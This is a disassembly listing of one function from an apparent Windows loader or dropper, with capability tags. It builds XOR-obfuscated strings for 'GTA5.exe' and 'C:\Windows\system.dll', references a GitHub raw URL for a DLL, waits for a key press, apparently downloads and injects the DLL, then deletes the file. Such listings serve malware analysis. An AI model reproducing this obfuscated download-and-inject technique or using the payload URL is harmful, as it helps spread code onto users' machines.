Function at 0x140006b50
Capabilities:
Delete file
Encode data using xor
Execute command
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
movaps xmmword [rax - 0x18], xmm6
mov ecx, 1
movaps xmmword [rax - 0x28], xmm7
call fcn.1400088d8
lea rcx, str.color_E
mov qword [rbp + 0x67], rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008450
movdqa xmm7, xmmword [0x14000a920]
xor esi, esi
movdqa xmm6, xmmword [0x14000a910]
mov edi, 0x133
mov ecx, 0x74
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140006bb4
call fcn.140006870
test al, al
je 0x140007304
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x47
xor edx, edx
call fcn.1400016a0
mov ecx, 0x54
mov word [rbp - 0x49], ax
mov edx, 1
call fcn.1400016a0
mov ecx, 0x41
mov word [rbp - 0x47], ax
mov edx, 2
call fcn.1400016a0
mov ecx, 0x35
mov word [rbp - 0x45], ax
mov edx, 3
call fcn.1400016a0
mov ecx, 0x2e
mov word [rbp - 0x43], ax
mov edx, 4
call fcn.1400016a0
mov ecx, 0x65
mov word [rbp - 0x41], ax
mov edx, 5
call fcn.1400016a0
mov ecx, 0x78
mov word [rbp - 0x3f], ax
mov edx, 6
call fcn.1400016a0
mov ecx, 0x65
mov word [rbp - 0x3d], ax
mov edx, 7
call fcn.1400016a0
xor ecx, ecx
mov word [rbp - 0x3b], ax
mov edx, 8
call fcn.1400016a0
movzx ecx, word [0x14000a852]
mov edx, 9
mov word [rbp - 0x39], ax
call fcn.1400016a0
movzx ecx, word [0x14000a854]
mov edx, 0xa
mov word [rbp - 0x37], ax
call fcn.1400016a0
movzx ecx, word [0x14000a856]
mov edx, 0xb
mov word [rbp - 0x35], ax
call fcn.1400016a0
movzx ecx, word [0x14000a858]
mov edx, 0xc
mov word [rbp - 0x33], ax
call fcn.1400016a0
movzx ecx, word [0x14000a85a]
mov edx, 0xd
mov word [rbp - 0x31], ax
call fcn.1400016a0
movzx ecx, word [0x14000a85c]
mov edx, 0xe
mov word [rbp - 0x2f], ax
call fcn.1400016a0
movzx ecx, word [0x14000a85e]
mov edx, 0xf
mov word [rbp - 0x2d], ax
call fcn.1400016a0
movzx ecx, word [vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0]
mov edx, 0x10
mov word [rbp - 0x2b], ax
call fcn.1400016a0
mov word [rbp - 0x29], ax
mov rdx, rsi
xor eax, eax
mov r8d, 8
mov word [rbp - 0x27], ax
nop dword [rax + rax]
movsxd rcx, r8d
movq xmm2, xmm7
movd xmm0, eax
add eax, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x49]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm7
xorps xmm3, xmm0
movq qword [rbp + rdx*2 - 0x49], xmm3
lea rdx, [rbp + rcx*2 - 0x51]
lea ecx, [r8 - 4]
movd xmm0, ecx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
movsxd rcx, r8d
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm7
xorps xmm3, xmm0
movd xmm0, r8d
movq qword [rdx], xmm3
lea rdx, [rbp - 0x41]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rcx*2 - 0x49]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm7
xorps xmm3, xmm0
movq qword [rbp + rcx*2 - 0x49], xmm3
movsxd rcx, r8d
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + 4]
add r8d, 0x10
movd xmm0, ecx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx], xmm3
movsxd rdx, eax
cmp rdx, 0x10
jb 0x140006d40
cmp rdx, 0x11
jae 0x140006e53
nop dword [rax]
lea ecx, [rdi + rax]
inc eax
xor word [rbp + rdx*2 - 0x49], cx
movsxd rdx, eax
cmp rdx, 0x11
jb 0x140006e40
mov ecx, 0x43
mov word [rbp - 0x27], si
xor edx, edx
call fcn.1400016a0
mov ecx, 0x3a
mov word [rbp - 0x25], ax
mov edx, 1
call fcn.1400016a0
mov ecx, 0x5c
mov word [rbp - 0x23], ax
mov edx, 2
call fcn.1400016a0
mov ecx, 0x57
mov word [rbp - 0x21], ax
mov edx, 3
call fcn.1400016a0
mov ecx, 0x69
mov word [rbp - 0x1f], ax
mov edx, 4
call fcn.1400016a0
mov ecx, 0x6e
mov word [rbp - 0x1d], ax
mov edx, 5
call fcn.1400016a0
mov ecx, 0x64
mov word [rbp - 0x1b], ax
mov edx, 6
call fcn.1400016a0
mov ecx, 0x6f
mov word [rbp - 0x19], ax
mov edx, 7
call fcn.1400016a0
mov ecx, 0x77
mov word [rbp - 0x17], ax
mov edx, 8
call fcn.1400016a0
mov ecx, 0x73
mov word [rbp - 0x15], ax
mov edx, 9
call fcn.1400016a0
mov ecx, 0x5c
mov word [rbp - 0x13], ax
mov edx, 0xa
call fcn.1400016a0
mov ecx, 0x73
mov word [rbp - 0x11], ax
mov edx, 0xb
call fcn.1400016a0
mov ecx, 0x79
mov word [rbp - 0xf], ax
mov edx, 0xc
call fcn.1400016a0
mov ecx, 0x73
mov word [rbp - 0xd], ax
mov edx, 0xd
call fcn.1400016a0
mov ecx, 0x74
mov word [rbp - 0xb], ax
mov edx, 0xe
call fcn.1400016a0
mov ecx, 0x65
mov word [rbp - 9], ax
mov edx, 0xf
call fcn.1400016a0
mov ecx, 0x6d
mov word [rbp - 7], ax
mov edx, 0x10
call fcn.1400016a0
mov ecx, 0x2e
mov word [rbp - 5], ax
mov edx, 0x11
call fcn.1400016a0
mov ecx, 0x64
mov word [rbp - 3], ax
mov edx, 0x12
call fcn.1400016a0
mov ecx, 0x6c
mov word [rbp - 1], ax
mov edx, 0x13
call fcn.1400016a0
mov word [rbp + 1], ax
mov edx, 0x14
call fcn.1400016a0
xor ecx, ecx
mov word [rbp + 3], ax
mov edx, 0x15
call fcn.1400016a0
movzx ecx, word [0x14000a7b4]
mov edx, 0x16
mov word [rbp + 5], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7b6]
mov edx, 0x17
mov word [rbp + 7], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7b8]
mov edx, 0x18
mov word [rbp + 9], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7ba]
mov edx, 0x19
mov word [rbp + 0xb], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7bc]
mov edx, 0x1a
mov word [rbp + 0xd], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7be]
mov edx, 0x1b
mov word [rbp + 0xf], ax
call fcn.1400016a0
movzx ecx, word [str.https:__github.com_xos0d02cxkzla_dasdasdsa_raw_main_system.dll]
mov edx, 0x1c
mov word [rbp + 0x11], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7c2]
mov edx, 0x1d
mov word [rbp + 0x13], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7c4]
mov edx, 0x1e
mov word [rbp + 0x15], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7c6]
mov edx, 0x1f
mov word [rbp + 0x17], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7c8]
mov edx, 0x20
mov word [rbp + 0x19], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7ca]
mov edx, 0x21
mov word [rbp + 0x1b], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7cc]
mov edx, 0x22
mov word [rbp + 0x1d], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7ce]
mov edx, 0x23
mov word [rbp + 0x1f], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7d0]
mov edx, 0x24
mov word [rbp + 0x21], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7d2]
mov edx, 0x25
mov word [rbp + 0x23], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7d4]
mov edx, 0x26
mov word [rbp + 0x25], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7d6]
mov edx, 0x27
mov word [rbp + 0x27], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7d8]
mov edx, 0x28
mov word [rbp + 0x29], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7da]
mov edx, 0x29
mov word [rbp + 0x2b], ax
call fcn.1400016a0
movzx ecx, word [0x14000a7dc]
mov edx, 0x2a
mov word [rbp + 0x2d], ax
call fcn.1400016a0
mov word [rbp + 0x2f], ax
mov edx, esi
xor eax, eax
mov rcx, rsi
mov word [rbp + 0x31], ax
mov r8d, 8
nop dword [rax + rax]
movsxd rax, r8d
movq xmm2, xmm7
movd xmm0, edx
add edx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rcx*2 - 0x25]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm7
xorps xmm3, xmm0
movq qword [rbp + rcx*2 - 0x25], xmm3
lea rcx, [rbp + rax*2 - 0x2d]
lea eax, [r8 - 4]
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
movsxd rax, r8d
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm7
xorps xmm3, xmm0
movd xmm0, r8d
movq qword [rcx], xmm3
lea rcx, [rbp - 0x1d]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rax*2 - 0x25]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm7
xorps xmm3, xmm0
movq qword [rbp + rax*2 - 0x25], xmm3
movsxd rax, r8d
lea rcx, [rcx + rax*2]
lea eax, [r8 + 4]
add r8d, 0x10
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm6
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx], xmm3
movsxd rcx, edx
cmp rcx, 0x20
jb 0x1400071c0
cmp rcx, 0x2b
jae 0x1400072d3
nop dword [rax]
lea eax, [rdi + rdx]
inc edx
xor word [rbp + rcx*2 - 0x25], ax
movsxd rcx, edx
cmp rcx, 0x2b
jb 0x1400072c0
lea r8, [rbp - 0x49]
mov word [rbp + 0x31], si
lea rdx, [rbp - 0x25]
mov rcx, rbx
call fcn.140002630
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Windows_system.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140006bb4
lea r11, [rsp + 0xc0]
mov eax, 0xffffffff
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret